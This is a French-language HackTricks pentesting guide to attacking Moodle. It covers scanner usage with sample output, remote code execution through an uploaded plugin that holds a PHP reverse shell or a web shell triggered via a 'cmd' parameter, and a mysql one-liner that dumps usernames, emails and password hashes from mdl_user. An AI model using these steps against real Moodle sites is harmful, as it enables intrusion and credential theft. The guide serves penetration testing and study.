# Moodle
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Si vous êtes intéressé par une **carrière de piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_polonais courant écrit et parlé requis_). {% embed url="https://www.stmcyber.com/careers" %} ## Scans automatiques ### droopescan ```bash pip3 install droopescan droopescan scan moodle -u http://moodle.example.com// [+] Plugins found: forum http://moodle.schooled.htb/moodle/mod/forum/ http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt http://moodle.schooled.htb/moodle/mod/forum/version.php [+] No themes found. [+] Possible version(s): 3.10.0-beta [+] Possible interesting urls found: Static readme file. - http://moodle.schooled.htb/moodle/README.txt Admin panel - http://moodle.schooled.htb/moodle/login/ [+] Scan finished (0:00:05.643539 elapsed) ``` ### moodlescan moodlescan est un outil de reconnaissance pour Moodle. Il peut être utilisé pour identifier les versions de Moodle, les plugins installés et les utilisateurs. Il peut également être utilisé pour trouver des vulnérabilités connues dans les versions de Moodle et les plugins installés. Pour utiliser moodlescan, il suffit de spécifier l'URL de la page d'accueil de Moodle. moodlescan effectuera ensuite une série de requêtes pour identifier les informations pertinentes. Les résultats seront affichés dans la console. Voici un exemple d'utilisation de moodlescan: ``` python3 moodlescan.py -u https://example.com/moodle ``` Cela affichera les informations suivantes: ``` Moodle version: 3.9.2 Installed plugins: - mod_forum - mod_assign - local_statistics - theme_boost ``` moodlescan peut également être utilisé pour trouver des utilisateurs de Moodle. Pour ce faire, il suffit d'utiliser l'option `-f` et de spécifier un fichier contenant une liste de noms d'utilisateurs. moodlescan effectuera ensuite une série de requêtes pour déterminer si les utilisateurs sont présents sur le site Moodle spécifié. Voici un exemple d'utilisation de moodlescan pour trouver des utilisateurs: ``` python3 moodlescan.py -u https://example.com/moodle -f users.txt ``` Cela affichera les informations suivantes: ``` User found: alice User found: bob User not found: charlie ``` ```bash #Install from https://github.com/inc0d3/moodlescan python3 moodlescan.py -k -u http://moodle.example.com// Version 0.7 - Dic/2020 ............................................................................................................. By Victor Herrera - supported by www.incode.cl ............................................................................................................. Getting server information http://moodle.schooled.htb/moodle/ ... server : Apache/2.4.46 (FreeBSD) PHP/7.4.15 x-powered-by : PHP/7.4.15 x-frame-options : sameorigin last-modified : Wed, 07 Apr 2021 21:33:41 GMT Getting moodle version... Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta Searching vulnerabilities... Vulnerabilities found: 0 Scan completed. ``` ### CMSMap CMSMap est un outil open source qui permet de scanner les sites web pour détecter les CMS (systèmes de gestion de contenu) utilisés. Il peut également être utilisé pour trouver des vulnérabilités connues dans ces CMS. CMSMap prend en charge de nombreux CMS populaires tels que WordPress, Joomla, Drupal, Magento, et bien d'autres. Il peut également être utilisé pour trouver des plugins vulnérables et des thèmes utilisés sur le site. CMSMap est un outil utile pour les tests de pénétration et les audits de sécurité des sites web. ```bash pip3 install git+https://github.com/dionach/CMSmap.git cmsmap http://moodle.example.com/ ``` ### CVEs J'ai constaté que les outils automatiques sont assez **inutiles pour trouver des vulnérabilités affectant la version moodle**. Vous pouvez les **vérifier** sur [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) ## **RCE** Vous devez avoir le rôle de **manager** et vous **pouvez installer des plugins** dans l'onglet **"Administration du site"**\*\*:\*\* ![](<../../.gitbook/assets/image (447).png>) Si vous êtes un manager, vous devrez peut-être **activer cette option**. Vous pouvez voir comment faire dans la preuve de concept d'escalade de privilèges moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). Ensuite, vous pouvez **installer le plugin suivant** qui contient le shell php r**ev classique de pentest-monkey** (_avant de le télécharger, vous devez le décompresser, changer l'IP et le port du revshell et le recompresser_) {% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %} Ou vous pouvez utiliser le plugin de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) pour obtenir un shell PHP régulier avec le paramètre "cmd". Pour accéder au lancement du plugin malveillant, vous devez accéder à: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` ## POST ### Trouver les identifiants de la base de données ```bash find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ``` ### Extraire les identifiants de la base de données --- #### Description Dans certains cas, il est possible d'extraire les identifiants de la base de données de Moodle en utilisant des vulnérabilités ou des erreurs de configuration. #### Procédure 1. Tout d'abord, il est nécessaire de trouver les informations de connexion à la base de données. Cela peut être fait en examinant le fichier `config.php` situé dans le répertoire racine de Moodle. 2. Une fois que vous avez les informations de connexion, vous pouvez utiliser des outils tels que `mysql` ou `phpMyAdmin` pour accéder à la base de données. 3. Recherchez la table `mdl_user` qui contient les informations d'identification des utilisateurs. 4. Si les mots de passe sont stockés en clair, vous pouvez simplement les extraire. Sinon, vous devrez utiliser des techniques de craquage de mot de passe pour les récupérer. #### Contre-mesures - Assurez-vous que les informations de connexion à la base de données sont correctement sécurisées et ne sont pas accessibles publiquement. - Utilisez des algorithmes de hachage forts pour stocker les mots de passe des utilisateurs. - Restreignez l'accès à la base de données uniquement aux utilisateurs autorisés. ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` Si vous êtes intéressé par une **carrière de hacker** et souhaitez hacker l'impénétrable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). {% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.